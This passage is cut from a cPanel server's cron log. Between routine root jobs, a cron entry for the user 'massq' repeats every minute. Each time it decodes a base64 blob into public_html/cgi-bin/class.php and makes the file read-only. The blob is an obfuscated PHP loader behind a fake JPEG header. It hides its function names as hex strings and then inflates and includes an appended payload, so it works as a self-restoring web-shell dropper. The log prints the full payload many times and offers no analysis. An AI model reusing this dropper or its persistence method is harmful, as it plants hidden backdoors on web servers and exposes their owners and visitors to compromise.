QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:27:01 server CROND[18924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:27:01 server CROND[18925]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 17:28:01 server CROND[19075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:29:01 server CROND[19116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:30:01 server CROND[19167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:30:01 server CROND[19168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:30:01 server CROND[19170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:30:01 server CROND[19171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:31:01 server CROND[19272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:32:01 server CROND[19340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:33:01 server CROND[19411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:34:01 server CROND[19457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:35:01 server CROND[19598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:35:01 server CROND[19602]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 17:35:01 server CROND[19603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:35:01 server CROND[19601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:35:01 server CROND[19600]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 17:36:01 server CROND[19719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:37:01 server CROND[19797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:38:01 server CROND[19883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:39:01 server CROND[19937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:39:01 server CROND[19938]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 17:40:01 server CROND[19988]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:40:01 server CROND[19989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:40:01 server CROND[19991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:40:01 server CROND[19990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 